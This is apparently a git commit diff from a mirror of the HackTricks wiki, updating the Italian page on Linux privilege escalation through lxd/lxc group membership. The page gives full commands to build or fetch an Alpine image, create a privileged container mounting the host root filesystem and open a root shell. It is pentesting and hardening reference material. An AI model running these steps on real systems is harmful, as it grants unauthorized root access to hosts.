mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/linux-hardening/privilege-escalation/interesting-groups
This commit is contained in:
parent
df423d47d4
commit
f79d89ca5b
@ -1,4 +1,4 @@
|
||||
# lxd/lxc Gruppo - Escalation dei privilegi
|
||||
# lxd/lxc Group - Privilege escalation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -8,18 +8,22 @@ Se appartieni al gruppo _**lxd**_ **o** _**lxc**_, puoi diventare root
|
||||
|
||||
### Metodo 1
|
||||
|
||||
Puoi installare sulla tua macchina questo distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(segui le istruzioni del github):
|
||||
Puoi scaricare un'immagine alpine da utilizzare con lxd da un repository fidato. Canonical pubblica build giornaliere sul loro sito: [https://images.lxd.canonical.com/images/alpine/3.18/amd64/default/](https://images.lxd.canonical.com/images/alpine/3.18/amd64/default/)
|
||||
Basta prendere sia **lxd.tar.xz** che **rootfs.squashfs** dall'ultima build. (Il nome della directory è la data).
|
||||
|
||||
In alternativa, puoi installare su macchina questo builder di distribuzioni: [https://github.com/lxc/distrobuilder](https://github.com/lxc/distrobuilder) (segui le istruzioni del github):
|
||||
```bash
|
||||
sudo su
|
||||
# Install requirements
|
||||
sudo apt update
|
||||
sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools
|
||||
sudo apt install -y golang-go gcc debootstrap rsync gpg squashfs-tools git make build-essential libwin-hivex-perl wimtools genisoimage
|
||||
|
||||
# Clone repo
|
||||
mkdir -p $HOME/go/src/github.com/lxc/
|
||||
cd $HOME/go/src/github.com/lxc/
|
||||
git clone https://github.com/lxc/distrobuilder
|
||||
|
||||
# Make distrobuilder
|
||||
cd distrobuilder
|
||||
cd ./distrobuilder
|
||||
make
|
||||
|
||||
# Prepare the creation of alpine
|
||||
@ -27,13 +31,10 @@ mkdir -p $HOME/ContainerImages/alpine/
|
||||
cd $HOME/ContainerImages/alpine/
|
||||
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
|
||||
|
||||
# Create the container
|
||||
## Using build-lxd
|
||||
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
|
||||
## Using build-lxc
|
||||
sudo $HOME/go/bin/distrobuilder build-lxc alpine.yaml -o image.release=3.18
|
||||
# Create the container - Beware of architecture while compiling locally.
|
||||
sudo $HOME/go/bin/distrobuilder build-incus alpine.yaml -o image.release=3.18 -o image.architecture=x86_64
|
||||
```
|
||||
Carica i file **lxd.tar.xz** e **rootfs.squashfs**, aggiungi l'immagine al repository e crea un contenitore:
|
||||
Carica i file **incus.tar.xz** (**lxd.tar.xz** se li hai scaricati dal repository Canonical) e **rootfs.squashfs**, aggiungi l'immagine al repository e crea un contenitore:
|
||||
```bash
|
||||
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
|
||||
|
||||
@ -50,7 +51,7 @@ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=t
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Se trovi questo errore _**Errore: Nessun pool di archiviazione trovato. Si prega di creare un nuovo pool di archiviazione**_\
|
||||
> Esegui **`lxd init`** e **ripeti** il blocco di comandi precedente
|
||||
> Esegui **`lxd init`** e imposta tutte le opzioni su predefinito. Poi **ripeti** il blocco di comandi precedente
|
||||
|
||||
Infine puoi eseguire il contenitore e ottenere root:
|
||||
```bash
|
||||
@ -60,7 +61,7 @@ lxc exec privesc /bin/sh
|
||||
```
|
||||
### Metodo 2
|
||||
|
||||
Crea un'immagine Alpine e avviala utilizzando il flag `security.privileged=true`, costringendo il container a interagire come root con il filesystem host.
|
||||
Crea un'immagine Alpine e avviala utilizzando il flag `security.privileged=true`, costringendo il container a interagire come root con il filesystem dell'host.
|
||||
```bash
|
||||
# build a simple alpine image
|
||||
git clone https://github.com/saghul/lxd-alpine-builder
|
||||
|
Loading…
x
Reference in New Issue
Block a user